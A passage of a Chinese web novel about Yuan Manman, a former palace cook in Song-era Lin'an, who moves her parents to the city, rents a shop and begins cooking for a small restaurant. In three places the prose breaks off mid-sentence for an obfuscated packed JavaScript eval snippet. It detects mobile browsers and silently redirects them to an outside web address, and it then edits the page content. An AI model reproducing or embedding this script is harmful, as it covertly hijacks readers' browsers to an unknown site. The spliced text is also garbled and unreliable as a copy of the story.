《在临安把小酒楼做大做强》 1. 回乡！ 乾道二年春，临安城外大水村。 清明方过，熏风解愠，田垄间新抽的秧苗泛着青碧。村人皆褪去厚袄换春衫，或耘田或采桑，偶有暖风拂面，倒消解几分春耕疲乏。 河边，一个妇人正在洗菜。包髻用青布扎得紧实，粗麻襦裙下摆掖在腰间，露出半截精壮小臂。木盆里芥菜随水流打转，妇人动作麻利，春日的河水也清澈温暖，没一会，一盆菜便洗净了。 “兰嫂子，你且歇歇！晚间带你家官人来酒？"邻妇背柴经过招呼。 兰嫂子甩着水珠起身笑道："这当口他还在塾里讲经呢！倒是晨间割了二刀鲜肉，姊姊来家尝个新鲜？" “不了不了，我这就回去了！这都清明过了，你家闺女快回来了吧？” 提到闺女，兰嫂子笑了笑，眼尾弯弯出现几条细纹：“就是这几天了！等满满回来了，可一定要来我家聚一聚！” 二人说笑着分别。 兰嫂子抬起菜盆，正往回走着，突然听到小路上隐约传来车轮声，随之而来的是一声清亮的叫喊：“娘！娘！我回来了！” 兰嫂子顿了顿，险些以为自己听错了，这声音，怎么这么像满满呢？她回过身，迎着夕阳，抬起手挡住阳光，眯着眼看过去——泥土路上扬起细细的黄尘，张老汉赶着牛车回村了，在牛车上，却坐着一个粉裙绿袄的姑娘，看不清样貌，只觉着身段窈窕，面白如雪。 兰嫂子正琢磨着这是谁家姑娘，只听那小娘子又大喊一声：“娘！您认不出我了？我是满满呀！” 兰嫂子眨了眨眼睛，只见这个如花似玉般的小娘子从牛车上跳下来，几步并做一步地向她跑来，记忆中小小的女儿和眼前的身影不断重合，终于反应过来，这是她的满满呀！立刻丢下手里的菜盆，向满满跑过去。二人紧紧拥抱在一起，眼眶里都是热泪涟涟，过了好一会子，二人才缓过来。 兰嫂子拉着女儿上上下下看了一圈，方才明白什么叫做女大十八变。满满进宫五年，五年前还是一个刚刚到她肩膀的黢黑的小丫头片子，而如今的满满，宫里风水养人，身材出落得越发匀称不说，连脸蛋也光滑白腻，张开了的五官更是样样合宜。 兰嫂子扫了女儿几眼，久别重逢的喜悦淡去，剩下都是满满的骄傲。果然是她的女儿，就是比村里旁的姑娘都标致！ “满满，这几年在宫里过得可好？”兰嫂子拉着女儿，心中千言万语，纠结许久，只能问出这样的一句。 小姑娘摇了摇兰嫂子的手，像小时候一般挽住她：“娘！我们回家再说！”转头朝着赶牛车的张老汉道：“多亏了张叔一路载我回来，这些年在宫里，我的厨艺也精进不少，今晚上我家吃饭去呀？” 兰嫂子这才反应过来自己失了礼节，反倒不如女儿了、连忙笑道：“是呀，老张，今晚上我家去，大家也喝点酒乐一乐？” 这样团聚的时刻，张老汉自然不会自讨没趣，寒暄一番便离开了。兰嫂子和女儿一路往家走，满满也毫不吝啬告诉娘这五年来在宫里的事。 兰嫂子的厨艺在大水村是没的说的，自小便教着满满。是以，满满初入禁中便分派御膳房。五年间从烧火婢熬成掌勺宫娥，连尚食局女官都赞其调鼎夫。 说话间已至家中，三楹砖房虽不轩敞，窗下却种着新移的瑞香，显见双亲日日洒扫以待。满满看了看自己的小间，一应陈设如同她离开时一般，心里满是感动。立刻挽起袖子，走向灶台： “娘，你不是说爹还在学堂里讲学吗？让我来露一手，做一些好吃的，咱两带着些吃食去给爹送饭，顺带给孩子们分一些，如何？” 兰嫂子本想拒绝，宝贝闺女刚刚回来，自然是这个当娘的做给孩子吃。可是看袁满满跃跃欲试的样子，便道：“行，那娘给你打下手！”反正若是不成，她替满满做了便是。 满满用襻膊挽起袖子，看了看家中食材，决定做两道菜——一道笋煨火肉，火腿醇香，春笋清甜，另一道荠菜羹，清清爽爽，另有鲜味中和苦味，两两相宜，可谓春日下饭利器。 此时正是春日，春分方过时，邻家阿婆送了一筐新掘的黄泥笋。 笋衣上还沾着露水，指头一弹，"咚"地脆响。虽然从外边看笋子裹满泥土，但真正的好笋得带三分野气，剥到最后一层才见玉色。剥好笋子，兰嫂子帮忙把笋子切成方块，又将笋块与糯米同煮。 “以米泔浸去麻舌。”用此法处理笋子，则褪去麻味和苦味，口中只余清甜。满满在御膳房当值，不仅手艺得精进，理论也得跟上。 满满又开始忙活火腿。火肉须取陈年腿子，腊月里悬在穿堂风口的。刀背轻刮开表层青霜，红白肌理便如春山积雪初融。满满手起刀落，火腿也被切成如笋子同等大的丁状。而后用桑皮纸包裹，埋入草木灰中烘至表面微焦，即可褪去水气。 趁这间隙，满满指挥着兰嫂子，二人手起刀落，把豆豉捣碎滤汁（即如今的生抽），又把甘蔗熬成颗粒粗，色微黄的糖霜。 “闺女，你这做法能行吗？” “娘，您放心吧！这做饭呀，可不是一锅食材乱炖，这道笋煨火肉，便是突出食材咸鲜二味！加之一点微辛，那就更好了！“ 取一口厚壁窄口的陶瓷煨罐，砂锅底铺鲜竹箬防止粘锅。又铺上老姜两片，辅以紫苏叶，又铺上笋块，中层码放火腿丁子，撒上桂皮碎，花椒粒，红白错落，好不诱人。顶层又覆上干荷叶，倒进一些黄酒，豆豉汁，糖霜水。慢火煨着，水汽在锅盖上聚成小月亮，忽明忽灭。 此时荠菜正当令。挎竹篮往田埂上走，霜白的碎花藏在草窠里，得蹲下身才看得分明。兰嫂子方才在河边洗的便是荠菜。 把火腿炖上，满满将洗净的菜叶切碎，和豆腐丁同煮，小火时勾芡，左手转碗右手搅勺，她手法熟练老道，兰嫂子在一旁瞧着，心里暗暗赞叹，当年送她进宫的决定当真明智。不一会儿，锅里的荠菜豆腐汤便凝成半透明的翡翠冻。 过了一会，火腿的咸香被笋汁化开，锅里传来一阵阵香气，被风一带，远近邻居都闻到了。 满满开罐，加入些许橘皮丝。本朝人喜好“以果香入荤腥”，这一开罐，扑鼻的香味弥漫整个屋子。就连素来以庖厨之艺自豪的兰嫂子，也直咽口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15234597|166029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 水，自叹不如。 几个近邻甚至直接拜访家里，见到满满做菜，没有不赞叹的，这架势，若是不尝一口便是不肯罢休了。 满满索性撇去浮油，加入磨碎的炒米浆增稠，不一会便出锅了。 过来的三位邻居各盛了一碗，笋子和火腿家中都有，但如此鲜美却从未有过，各味小料得当，清苦交织，又不夺主味，舌底鸣泉。匆匆尝了一口，连忙夸赞一句:“味美至极！”连忙扒着碗口，或是一口一口细品细嘬，又或是狼吞虎咽，吃的干干净净！ 袁家有两兄弟，满满的爹是弟弟，上头还有一个哥哥，名叫袁大勇，袁大勇有个媳妇，叫菊嫂子。前些年袁家爷奶没了，兄弟二人为留下的几件草房争执不休，最终菊嫂子以兰嫂子和袁大哥只有一个女儿，没法给老袁家穿承香火为由争得那几间草房。从那以后，兰嫂子暗暗咬牙，哪怕只有一个女儿，也定然要让闺女争口气！ 袁大哥是个久试未中的老童生，在大水村一个学堂教教孩子，从小也教着满满。夫妻二人对女儿很是宠爱，十五岁那年，整个大水村适婚的男子，要不家里破败，为人怯懦，要不家中有难缠的婆母妯娌，好不容易有几个兰嫂子袁大哥瞧上的，满满却嫌弃几人面貌丑陋，不愿结亲。 更让人气愤的是，袁大勇和菊嫂子恰恰生了三个儿子，小儿子自小脑子不好使，袁家家底贫瘠，想必也是个难婚配的。这菊嫂子，竟然在兰嫂子跟前放下狂言：“满满若是嫁不出去，不如和我家袁大壮凑合着过，我这个作婶子的，自然也不会亏待满满，都是当自家人看的！” 正巧那时节宫里从民间选拔身世清白的女子进宫当宫女，满满会识字，人也出落得漂亮，兰嫂子一咬牙，拍案决定——宁愿女儿不嫁，也要让女儿混得出人头地，从此再也不叫人看低。 此刻，在隔壁屋里，袁大壮嗅了嗅鼻子，扯着菊嫂子的衣摆问道：“娘，婶子家又开饭了？我想吃！娘！带我去吃！” 菊嫂子长着长脸尖下巴，她耸了耸鼻尖，朝着袁大勇怒了怒嘴：“老二家又开饭了？我从前闻着倒不如今日香，怕是从哪里得了几块火腿。听说袁满满从宫里回来了？怕是特地做给女儿吃的。” 袁大勇瞟了妻子一眼，没说话。菊嫂子缠小儿子不住，带着他往兰嫂子家走。 笋煨火肉已经炖好，火腿软糯，笋子也是入口即化，隔着老远便能闻到香气。兰嫂子见女儿行云流水的厨艺，也在心里自叹不如，拿起小勺尝了一口，鲜香醇厚，连带整个胃里都是暖暖的，不由赞道：“不愧是我的闺女，真给你娘长脸！” 满满笑了笑，把炉子上温着的荠菜羹也盛起来，都用小砂锅装好。另外又装了一锅米饭，蒸的软而不烂，用来下饭正正好。 正在这时，菊嫂子从门外进来了。满满见到她，心里也有些膈应，但面上依旧笑道：“婶子。” 倒是菊嫂子见到满满愣了一愣，眼前这白里透红的小闺女，这样貌，这气度，别说在大水村，便是她偶尔去过几次临安，也是在小娘子中数一数二的！她心里不由有些发虚： “满满，回来了？” 2. 御街铺子 兰嫂子见菊嫂子这样子，心里自然清楚她的心思，莫名觉得腰杆都挺起来几分：“嫂子，满满今天下午才回来呢！你说这孩子，几年不见可真是愈发懂事能干了，今晚可是满满下厨，好多邻居可是闻着味就来了，这本事，我一个亲娘都自叹不如呢。” 这一番话说的菊嫂子可是尴尬不已，她面上涨红：“满满如今二十岁了吧......”她话未说完，袁大壮便拽了拽她的裙摆：“我要吃！我要吃！我要吃！”菊嫂子恨铁不成钢地瞪了大壮几眼，下一秒，兰嫂子却接话： “是呀，咱们满满确实是长大了，可不像咱们大壮，像是长不大一样，天天陪着娘，做娘的小跟班，是不是呀？”兰嫂子一面说，一面逗孩子似得拍了拍只长个不涨心智的大壮，只为一解心头之恨：“乖孩子，满满做了许多呢，你若是要吃，婶子给你盛就是了。” 满满心里默默支持着娘，立刻利落地给大壮盛了一碗饭，配上一勺笋煨火肉汤，又另外一碗荠菜羹解腻。 菊嫂子心里正气着，却在闻到送到面前的美味时咽了咽口水。火腿本就珍贵，更何况闻着便让人垂涎，这袁满满，在宫里怕是学到不少东西。不吃白不吃，这好东西，若是今日不占了便宜，她菊嫂子怎么会吃这种亏！ “大壮，娘给你尝尝烫不烫。”菊嫂子一面说，一面便尝了一勺，将将入口，厚重的香气便灌满口中，连带整个人都舒服不少。 兰嫂子看着菊嫂子的样子，忍不住白了她一眼。而菊嫂子呢，盘算着这袁满满现在是宫里出来的，想必这些年在宫里存了不少银钱，厨艺了得，人也水灵，这样的媳妇，她这个做娘的不替大壮谋划，难不成便宜了旁人？ “满满如今在宫里一耽搁，都已经二十了，日后怕是更难寻到夫家了。满满啊，我既然当你婶子，便是把你当家人看的，我家大壮......” 母女二人见这菊嫂子竟然没脸没皮到此地步，便知她又要旧事重提。二人正想开口，却听门外突然传来一个声音： “嫂子请回吧！满满的婚事，自然是听满满的。我们当爹娘的都不着急，又何须你操心？满满读书明礼，窈窕贤淑，自然会觅得如意郎君！” 满满朝门外望去，在大水村里，穿着一身书生长袍的，除了她爹，还会有谁？ “爹！你回来了！” 袁大哥抬了抬手，却又放下，似乎不知如何面对满满，犹豫几次，最终说道：“我在学堂听人说你回来了，便急急地赶回来了。” 一家人相视无言，沉默片刻又破涕而笑。最终是兰嫂子招呼道：“快来尝尝，这是满满特地给你做的。” 满满看了看站在一旁的菊嫂子和埋头吃的袁大壮，心里有些不舒服：“婶婶，这些话就别再说了，请回吧。对了，明日我会带着我爹娘去临安生活，您也不用再惦念了。” 兰嫂子和袁大哥都是一惊，抬起头看着满满：“闺女，你说......” 袁满满笑了笑,握了握拳：“爹，娘，女儿这些年在宫里见了不少事，现今总算明白，只有把钱握在自己手里才是硬道理！我有厨艺，有野心，如今律法宽容，女子经商更可减税，我一路从临安走来，多少女子混得风生水起，我为什么不行？你们相信我，我们去临安闯一闯！” 菊嫂子皱了皱眉，刚想开口指责，却听兰嫂子猛地一拍桌板： “好！不愧是我的闺女！爹娘相信你！” 宋朝不似从前，各地往来不再需要严格的各级程序。袁家三口只需先以流民身份进入临安，在临安住满一年即自动变为坊郭户，成为临安的正式市民。 昨日袁满满提出自己的计划后，袁家夫妻虽然不能理解，但是却绝对地支持自己的女儿，所以次日一家三口便收拾行李，坐了一辆牛车进城。 菊嫂子知道这个消息，又开始把主意打在老二家的房子上。但袁满满早就料到，刚巧昨日搭乘张老汉牛车时，便和张老汉说好，老汉的大儿子可以去房子里暂住，对菊嫂子一家则表示已经把房子卖给了张老汉。 这样一来，既有人帮着看房子，也能不便宜了菊嫂子，况且袁满满觉得，自己一定会在临安扎根，不会有回去的一天了。 今日一早，张老汉便主动来帮一家人赶车。天刚蒙蒙亮，袁家三口便到了临安。 到临安第一件事——买房置业！ 满满先把爹娘安顿在茶肆里，点上几道点心，让二人在此处等她。 满满走向茶肆老板，茶肆鱼龙混杂，老板见多识广，想了解购房信息，问茶肆老板准没错。 “掌柜的，我刚来行在，人不生地不熟的，敢问去哪里找房牙子呀？” 老板抬头一看，原来是一位小娘子，打量她如花似玉的年纪，身穿一件鹅黄色褂子，头上也插了一支小花钗，应是家中富足之辈。便问道:“小娘子，是要买什么房子？单单住人的宅子，还是铺子？” 满满眼睛一弯，笑道：“带宅子的铺子，又能住人，又能做生意。” 老板笑了笑，小娘子年纪轻轻，心却比天高。他指了指外头:“小娘子，你可知在京城买一间房得多少钱？”他伸出十指，比了个手势：“若是在繁华地段，少说也得一千贯！” 满满心里一惊，早知道临安房价高，却不知如此贵。早知道，她在宫里待了五年，也才堪堪攒下50贯。爹娘这些年攒了30贯，合在一块80贯。已经是一笔不小的财富了。 姑娘眨巴眨巴眼睛，问道:“那不如……租房？” 老板勾了勾手指：“小娘子，你若是要求稳妥，便找官牙人，去御街南段五间楼找楼店务便可。不过嘛，官牙子卖给你的，多是籍没的逆产，阴气忒重！不如，我倒是识得一个人……” * 一刻钟后，一个女牙人领着满满踏上了御街。 二人面前是一家窄窄的店面，满满进去转了一圈，只有一间房，虽然还有个二楼，但是个凉亭构造，四面皆空，春夏可以吹吹风，赏赏景，到了秋冬便难免寒凉难耐，只能闲置了。 不过也有好处，毕竟在御街上，还是御街两侧的店面。御街是何处？朝北可达朝天门，朝南也有国子监。可谓是皇城门前一条街，如果官家来了兴致，出了大内，御街也是必经之道！四周来往各大坊市也很便宜，人流量更是不用担心。 满满不心动是假的。 “小娘子，你我都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15234598|166029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是女子，女子才知道女子的不容易！你要开食肆，就得选这御街！你看看这方位，这风水，皇城底下，就连狗都能混的风生水起，日进斗金！” 房牙子朝满满挤挤眼睛：“考虑得如何呀？今日天色尚早，早做打算，午时便能办理入住！” 满满转了一圈：“租金如何？” 房牙子凑到满满身边，伸出手比了一个数字，面上神秘莫测。 “十贯一月？” 话音未落，牙婆已嗤笑出声："我的姑娘！这可是御街！百贯尚要抢破头哩！" 满满连忙摇头:“这房子实在太窄，我若是开食肆，根本接待不了几人。更别提我一家三口人，又该住在何处。二楼这个凉亭，春夏可用，到了秋冬便是经看不经用。” 房牙子见满满伶牙俐齿，改口道:“哎呀！小娘子，念在你初来乍到，你若是想要，便八十贯一个月吧！” 满满想了想，郑重道:“您给我介绍一个大点的吧，我倒是无所谓，我爹娘得住的舒舒坦坦呀！” 房牙子见这姑娘水灵灵的大眼睛看过来，心里不由得有些发虚:“也罢！念在你一片孝心，我也带你去看个敞亮所在！以后若是发财了，可别忘记我。” 满满眼睛一弯，揽住房牙子的手臂:“好姐姐，我若是发财了，头一个想到您！” 虽然自己的儿子和这小娘子快一般大，但被一口一个好姐姐的叫着，心里却还是舒坦的。 房牙子领着满满从屋里穿过去，在屋后的巷子里，竟然又是一间空房。 房牙子打量着满满的神情，语气也不似之前热络:“这一间，我也赚不了什么，你爱要不要吧。一楼一间铺子，楼上一间铺子，后边还带了院子，院里各有房间三个，附一口水井。” 满满一听，一拍手掌:“那感情好呀！”又回过头看着房牙子，“应该不便宜吧？” 房牙子又比了一个手势。 “三……百贯？” “三十贯一月。这房子原先是一个成衣铺子，但是最近刚死了两个人，大家都嫌晦气，不肯要，所以闲置到了现在。你若是不介意……” “不介意！”满满立刻答到。这有什么好介意的，这么好的地段，虽然不在御街两侧，但也差不了多少。关键是两层店面，宽敞不说，原来是成衣铺子，店面也干净无异味，后边还有院子宅子，爹娘也能住的舒坦。院里的一口水井，对食肆来说，更是如虎添翼。 房牙子干事麻利，果然到了午时，便领到了红白楔子。满满心里高兴，便请房牙子连同爹娘在食肆吃了一顿午饭，顺便了解了一下行情。 下午，爹娘留在新宅里洒扫庭除，房牙子则带着满满熟悉周边。 “咱两既然做了生意，你也别见外，叫我一声张大姑便可。这临安城吶，繁华的很，从早到晚都是热热闹闹的。早市寅时开市，到了辰时摊贩大都齐整了，最是买菜好时候。到了晚上也有鬼市，戌时至子时，可以淘些便宜建材。但是这鬼市，水可深着呢！” 张大姑挽着满满，做出一副神秘莫测的神情:“那些老东西打量着天黑看不清，以次充好瞎报价，若是要去，也得带一盏方孔灯验验货！” 3. 装修铺子 搬新家头一件顶顶重要的事，自然是好好装潢一番！ 张大姑先带满满到了清波门木器市。市面上各种木质家具，有榉木的，杨木的，杉木的，还有竹制的等等，颜色也有各色亮漆，样式上更是五花八门，雕花的，镂空的，可折叠的，几乎让满满挑花了眼。 满满思索一番，自己本钱不多，家用家具倒不必打肿脸充胖子，非要精致美观，只需结实耐用。至于铺子的家具，美观是一方面，可是这样的全新家具又太过昂贵，不如待会去二手市场淘一淘。 二人转了一圈，在即将走出市场的时候，看见桥头一个穿青衫的小老头，旁边竖着一块立牌，写着: “亏也亏我也，家具清仓大甩卖。” 见二人走来，小老头却清高地很，完全没有一点卖东西的媚态，反而一斜眼睛，问道:“买不买？” 张大姑白了他一眼，扯着满满就回头走:“咱们别跟这种人做生意！” 满满却回头道:“您这卖的家具可否看一看？价格如何？” 如今，市面上一件全新的家具，例如柜子，椅子，桌子等等，少说也是五百文起步。小老头撇了一眼满满，见她穿着得体，像是拿的出钱的样子，淡淡回道： “我是专门做木工的，木头都是山上砍来的樟木，用桐油泡好了，不用担心受潮生虫的。没什么工艺，不过结实耐用，你若是要，三百文一件桌子、胡床、柜子，椅子一百文一件，长条凳子三百文一条。” 满满一看价格合算，面上却仍旧板着脸:“这价格，怕是买不到什么好东西吧？老丈，劳烦您带我去看一看，我再做定夺。” 老伯的宅子离这里不远，没一会便到了。远远隔着院子，便闻到了一股淡淡的木香。 走进去一看，只见整个院子里摆着大大小小的各式样的家具，全都是木头制造的，在院子的角落里还堆放着已经砍好的没有修理的木头。 满满走过去，拍了一拍其中的一张桌子，发出沉重的回响声，木质确实是数一数二。 她眼睛一扫，只见院子的角落里还有一块黑色的石料，表面平整光滑，并且其中还夹杂着棕色的暗纹。 满满问道：“老丈，这石料是哪来的？怎么卖？贵不贵？” 老头子皱了皱眉，似乎在努力回想，半晌回答道：“我前些日子在河边捡到的，你若是要的话，一百文卖给你吧。” 满满见这老头子也是一个实诚人，灵机一动：“老伯，您既然是个手艺人，要不我再给您加五十文，帮我把这石料镶嵌在桌子上吧？” 临安城里大大小小的食肆都有各自的特色，且不说那亭台楼阁的樊楼，不少食肆都是按照大户人家的宅院去打造的，毕竟谁不想去一个漂漂亮亮的地方吃一顿体体面面的饭呢？但满满的本钱本就少的可怜，再加上租房，买家具，装潢等等消费，现在已经所剩无几，如果想要打造一个好看的店面，那就必须别出心裁。 这石料虽算不上上等，但是如果正经的去买，少说也是得好几百文。如今满满让老伯把石料镶在木桌的桌面上，和石桌也相差无几，不仅美观不少，并且饭后擦洗也方便很多。 老伯眯着眼略一思索，犹豫半晌：“我今晚还要去喝酒呢，耽搁这会子功夫……” 满满连忙一笑：“这好办，您且先给我做着，太阳落山了送到我家去，我做给您吃！我一个开食肆的，手艺您不用担心！” 老伯欣然接受，满满也见好就收，这价格属实是实惠，并且老伯做事也是尽心尽力，要是再讲价钱，到叫她心中有愧了。 满满交代了自己宅子的位置，在老伯这订购了五张桌子，有长桌，也有方桌，还有园桌。一张胡床以及配套的椅子，柜子等等。待老伯把桌子做好之后，一齐雇人给满满送去。 买完家具后，二人接着在临安城里转悠，满满又买了几幅很大的字画。把字画当做屏风挂在铺子里，并上竹帘，这样既雅观，又能省下买屏风的钱。 一日走下来，张大姑看满满的眼神都像是看另外一个人，没想到这小娘子看上去年纪不大，从穿着打扮上来看，倒像是一个娇娇养在家中的小姐，但干事却利落爽快，有勇有谋。 “小娘子不是今年刚从宫里出来吗？可婚配了？”张大姑打量着满满，问道。这小娘子看上去倒像个做生意的料，并且家中是开食肆的，庖厨之事倒是也不用担心。念及家中还有一个未婚配的儿子，于是便打起了满满的主意。 满满只是面上看着单纯，但心里可精明着呢，于是只能勉强笑道:“大姑，您有所不知。我那杀千刀的亡夫，前些年才没了的。生前就是一个好吃懒做的性子，吃喝嫖赌样样都沾，欠下了一屁股子债！我现在年纪轻轻当上寡妇不说，还得替他还债，可真是惨吶！大姑若是有合适的如意郎君，可千万别忘了给我介绍！” 张大姑听了这话，只能满脸尴尬的笑笑，道：“好孩子，你放心，倒是看不出你这么命苦！我若是找到了，定然第一个告诉你……” 张大姑又草草给满满介绍了应该到哪里买什么后，便推辞家中有事离开了。 满满上各个市场转悠了一番，又各自买了一套决定明日一早早起来买菜，毕竟此时已是午后，这时候卖的菜都是被别人挑剩下的，甚至有的还是隔夜的，都不太新鲜了。 回家之前，还有一件重要的事——买炊具！ 厨子得了好的厨具，如同鱼儿得了水，若是厨具不称心，便难以发挥出食物最纯美的风味。一个好的厨子，不仅通晓各味食材的性质，也对各类炊具了如指掌！ 满满搓了搓手，挑炊具无非两个要点——一听二看，除此之外，若是有一些不影响使用的小瑕疵，便是满满舌灿莲花的时候啦。 “老板，你这铁锅是泉州海铁吧？”满满敲了敲锅，声音先清后浊，余音如同蜂鸣不绝，她又看颜色，锅底可见猝火时留下的波浪纹样，波纹密而均匀，这样的纹样的锅，烧火时受热均匀，是一口好锅。 老板抬了抬眼，打量着满满。这小娘子竟然是个行家？ “小娘子若是喜欢，一百文带走吧。” 满满皱了皱眉:“如今做锅都用信州精铁，您这锅呀，行情早就不好啦！” 老板刚想反驳，却见小娘子指了指一旁的杉木蒸笼。她特意掰开最底层榫卯，用手压了压，试了试承重。而后拿起湘竹食盒，对着日头细看，竹节处带着经冬的淡淡霜色，这是老竹才有的沧桑印记，可以接头出有些不连贯。 “老板，您看这食盒，唬得住旁人，可骗不了我的眼睛！用不了多久就断了！” “诶，你这小娘子，空口无凭便说我东西不好……” 见老板脸红气急，满满忙笑道:“哎哟，您别急！我挑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15234599|166029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挑拣拣，自然是因为我要买许多呀！您今日可是赚大发啦！” 小娘子又眨眨眼睛:“况且，我也不是空口无凭，坊间流传的《百工鉴》，老板可听过？” 这一招，可是把老板唬住了，说实话，这铺子原是家里老父的，他才接手没几年，实在是摸不着头脑，进货时也是小心谨慎，生怕被糊弄。于是摇了摇头，静静地看着满满。 “这《百工鉴》无非就五条，陶器讲究音清如磬，铁器则纹密似浪，竹器气节含霜，木器榫卯结实，铜器则水过无痕。您看看您这的东西，质量算不上上乘，不如便宜些卖我，我多买些回去？” 见满满说的头头是道，况且天色已晚，他也快要收摊，老板连忙摆摆手:“罢了，进价上每件赚你两文钱，够实惠了罢？” 最终满满买了铁锅一口，杉木蒸笼七层，越窑陶瓮十二口，湘竹食盒二十屉，铜柄厨刀四把，桑木砧板一块，双耳铜釜一台，青瓷莲花盏三十客，带槽沿腌菜坛一坛，锡制调味匙全套，粗制筷子三十副，并上一辆三番降价买下的二手小板车。零零总总，花去三百文。 满满推着小板车往家中走，今日离家一天，只留爹娘在家中，此刻想来不免有些愧疚。顺路去狮子巷茶米铺买了两斗太湖粳米，又简单买了一些食材，打算回家给爹娘做一顿好吃的！ 遥遥站在家门口，却看见兰嫂子站在门口，和几位妇人聊的正开心，她远远听见兰嫂子的声音传来: “对呀，我家闺女是宫里出来的，那样貌身段没得说！下厨呀？哎哟，我一个做娘的都自愧不如！等我家满满回来了，都来我家吃晚饭，还请各位多多宣传！” 兰嫂子身材矮胖却富态，红红的脸蛋照在夕阳里，一副骄傲的神情。 满满无奈地笑了笑，叫道:“娘！我回来了！” 满满和各位邻居打了招呼，原来是隔壁店名叫“李太丞家”（一个小医馆）的李嫂子，还有招牌是“鲜明花肆”的吴嫂子，“装塑佛像”的张嫂子。 几个嫂子拉着满满看了又看，没有不满意的。甚至取笑她年岁几何，可婚配否。 “我们这条街，都是些医馆，花肆，成衣铺子，如今袁小娘子来了，从今以后可是有口福了！” 寒暄片刻，各自散去。满满进屋一看，爹娘已经把屋子打扫得干干净净。 “娘，我爹呢？” “你爹呀，他闲不住，来的路上看见一家私塾正缺教书先生，你爹今天下午收拾好便去打听了，这会该回来了。” 满满听了，心里暗想:原来爹娘何须她担心，这才几个时辰，都各自混的风生水起！只能笑着摇了摇头，递过去几匹在路上买的缎子：“娘，这是现下时兴的缎子，您看看喜不喜欢，若是喜欢，留下做件新衣裳。” 兰嫂子接过去，摸了又摸看了又看,只觉得女儿长大了，懂事了，心里想着，给自己和满满各做一件。 “娘，现在来了临安，你若是闲不住，便出去转转，我现在攒了不少钱，你呢，只管舒舒服服地坐着就好，若是有了兴致，和你刚认识的嫂子们一起转转也不错。” 兰嫂子摸了摸满满的头：“娘知道，不过，你这店刚开起来，我给你打打下手，和你待在一块，娘心里就开心！” 二人相视一笑，外面传来人声，出门一看，原来是做木工的老丈带着新家具来了。 4. 三道小菜 满满忙去屋里沏了茶，给帮忙运过来的几位闲汉各送了一杯。小娘子笑语盈盈，几位也乐呵呵的接过。满满付了每人十文工钱。兰嫂子和老丈帮着满满一起把家具都归置好。不一会儿，小铺子就焕然一新了。 一楼原先就是铺的青砖，现如今放上了四张锃亮的石料木桌。满满一拍脑袋，径直跑到隔壁鲜明花肆，买了八盆大小不一的盆景。四张桌子形状不一，大小也不一，各居一角，便自成一方风景。长而方的桌子最大，故而庄重得体，一旁放置一个大而长的花盆，其中用几块灰色的太湖石掩去土色，栽上南天竹，清雅又古韵。另一旁是一张小圆桌，则在桌上置一钧窑花口瓶，其中插上应季鲜花，粉白相接，好不迤逦，旁边又放一架子，架子上置一盆花，花枝斜倚旁出，自有一番美感。 这两个小隔间都用竹帘隔开，各有情致，竹帘上又挂字画，更添文气。 隔间之外的空地，则齐齐整整放上两张大长桌，每桌可围坐十二人，则做平常接待之用。 最后一张桌子是矮脚长桌，桌脚做成几字形，更有一番雅致，满满把盆景在一楼放好，又把长桌至于二楼，打算改日再进行布置。 这一趟下来，满满已经花出去五十贯，即便她绞尽脑汁，花钱也花的抠抠搜搜，但还是把自己这些年的打拼全部投资进去，只留下来袁家二老的棺材本。满满只能扶额感叹，在京城活下来当真是不容易！ 趁着这功夫，兰嫂子已经帮满满把锅碗瓢盆洗净。袁大哥也回来了，三人在桌上坐定，只等满满开饭。 在回来的路上，满满便决定好了今晚的饭菜。临安城乃行在之地，各色美食琳琅满目，应有尽有，她一个小小食肆，如何做出自己的特色招揽顾客？满满出身御膳房，精通皇家各色美食，甚至知晓每一道菜背后的故事，但作为一个平头百姓，却很难有机会品尝。本朝人信奉“食不厌精，脍不厌细”，这些皇家美食，其中一些，无非是烹饪难度大，但食材确实季节中应季的野味，至于难度嘛，对于满满来说，早已不在话下！ 她的第一步，便是抓住这些普通百姓对皇家美食的好奇，继而抓住他们的胃！ 今日先找回手感，三道小菜：山家三脆，椿根馄饨，松黄饼。 满满先往盆中放入五两面粉，三两松花粉，七钱蜂蜜，糅合均匀后放在一旁发酵。 春天是吃笋子的季节。灶台便开在院子里，从一楼的铺子里略略抬头，便可看见灶台前挽起袖子的满满。手起刀落间，笋子已被切成条状，放入陶罐中，加入三钱粗盐，一把松针，武火滚水，大勺起落间焯水三十息。又在枸杞头中撒入细盐，轻轻揉搓，定住味道，依旧武火滚水焯十息，又从井中打一盆凉水，冰镇定色。最后拿出一把干香蕈，隔水蒸煮。这便是山家三脆中的三味了。 